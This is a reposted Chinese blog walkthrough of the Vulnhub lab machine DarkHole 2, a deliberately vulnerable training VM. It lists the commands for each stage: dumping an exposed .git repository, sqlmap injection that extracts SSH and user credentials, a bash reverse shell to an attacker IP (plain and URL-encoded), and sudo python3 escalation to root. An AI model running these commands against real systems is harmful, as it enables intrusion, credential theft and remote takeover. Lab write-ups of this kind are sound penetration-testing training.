其他分享
首页 > 其他分享> > 靶机练习 No.23 Vulnhub靶机DarkHole 2 .git信息泄露 .bash_history历史命令提权

靶机练习 No.23 Vulnhub靶机DarkHole 2 .git信息泄露 .bash_history历史命令提权

作者:互联网

靶机练习 No.23 Vulnhub靶机DarkHole 2

0x00 环境准备

0x01 信息收集

步骤一:ip 探测

nmap -sP 192.168.157.0/24

探测为 171

步骤二 :端口扫描

nmap -sC -sV -A -p- 192.168.157.171 -o port.txt
在这里插入图片描述
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.157.171:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file ‘description’ to name the…
|_ Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2

可以发现开启了22 和80端口
80端口 扫到 .git目录

0x02 漏洞挖掘

思路一:web漏洞挖掘(.git信息收集)

  1. GitHack.py 脚本 收集泄露的.git信息 代码 (google搜集语法intext:“Index of /.git”)
  2. 从web 80端口 开启BP 审查每个功能点 功能参数,源码敏感信息,js接口
  3. 目录爆破,同上测试
  4. appscan awvs xray 扫描

思路二:22ssh 爆破

  1. 用信息收集到的 账号面 进行爆破登录,或者 自己准备的弱口令字典登录。

步骤一:githack.py收集.git

在这里插入图片描述

脚本地址

https://github.com/lijiejie/GitHack/

python2 运行

python GitHack.py  http://192.168.157.171/.git/

在这里插入图片描述
进入收集到的 目录 tree命令查看
收集到3个目录 11个文件
在这里插入图片描述

步骤二:从git仓库审查代码及数据库文件

(1)config/config.php

在这里插入图片描述

(2)审计index.php login.php dashboard.php

没有收获

步骤三:git-dumper查看git log记录

下载地址

https://github.com/arthaud/git-dumper

(1)脚本递归下载git目录

 python3 git_dumper.py http://192.168.157.171/.git/ website

在这里插入图片描述

(2)git log 查看历史提交记录

cd website
git log

在这里插入图片描述
如图 根据记录 时间和内容得知
第一个 记录为第一次初始化
第二个 记录为
I added login.php file with default credentials
我添加了带有默认凭证的 login.php 文件
说明 可能存在 账号密码

(3) git diff 查看两次的差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述
if($_POST[‘email’] == “lush@admin.com” && $_POST[‘password’] == “321”){

发现 账号密码

lush@admin.com 321

步骤四:用账号密码登录web(登录成功)

在这里插入图片描述
在这里插入图片描述

步骤五:寻找后台漏洞getshell

(1)url 存在 id=1 测试sql注入(存在)

  1. ’ 单引号 页面返回500
    在这里插入图片描述

  2. 1’–+ 成功 存在sql注入 单引号闭合

    在这里插入图片描述

步骤六:sqlmap 跑出数据(成功)

直接用bp插件 sqlmap4burp ++

(1) 跑库

–level 2 --risk 3 --dbs --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp
在这里插入图片描述
在这里插入图片描述

(2) 跑表

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 --tables
在这里插入图片描述

(3) 跑ssh 和users表的字段名

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh --columns
在这里插入图片描述
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users --columns
在这里插入图片描述

(4) 跑字段值

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh -C id,user,pass --dump
在这里插入图片描述
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users -C id,password,address,contact_number,email,username --dump
在这里插入图片描述

步骤七:跑出的ssh账号登录(成功)

jehad fool
登录成功
在这里插入图片描述

0x03 提权

步骤八:jhead账号信息收集

(1)jhead用户目录下.bash_history信息收集

ls	-al
cat .bash_history

在这里插入图片描述
看起来 9999端口 存在命令执行漏洞

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述
发现 该服务的启动着为 losy 用户

(2)losy用户目录下发现user.txt文件

在这里插入图片描述

DarkHole{‘This_is_the_life_man_better_than_a_cruise’}
黑洞(这是一种比游轮旅行更好地生活)

步骤九:利用命令执行漏洞反弹losy用户权限(成功)

(1)kali 监听 7777端口

nc -lvvp 7777

(2)靶机执行bash反弹shell命令(url编码)

curl "http://127.0.0.1:9999/?cmd=bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/7777 <&1'"

因为是 curl执行 所以需要url编码 在bpurl 编码

curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%37%2e%31%33%37%2f%37%37%37%37%20%3c%26%31%27"

(3)反弹losy shell成功

在这里插入图片描述

(4)切换为完整终端

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset

步骤十:losy用户信息收集

(1)cat .bash_history 查看历史命令

发现有sudo -l 提权的记录
有显示password 为gang
在这里插入图片描述

步骤十一:losy sudo提权(成功)

(1) sudo -l

密码gang
在这里插入图片描述
发现 python3 可以 以 root 身份执行

(2)python3 切换 root shell

sudo python3 -c 'import os; os.system("/bin/sh")'

在这里插入图片描述
在/root目录 发现flag
传说
在这里插入图片描述

0x04 总结

本次靶机通关思路
(1)nmap 扫出80端口存在.git目录
(2)用两个git信息收集脚本,爬取下git目录的文件。
(3)通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
(4)进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jhead 的 ssh
(5)通过 jhead 的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
(6)losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
(7)通过sudo -l 信息 用python3 切换至root shell。

标签:sqlmap,git,No.23,--,步骤,losy,靶机,bash
来源: https://blog.csdn.net/YouthBelief/article/details/122856667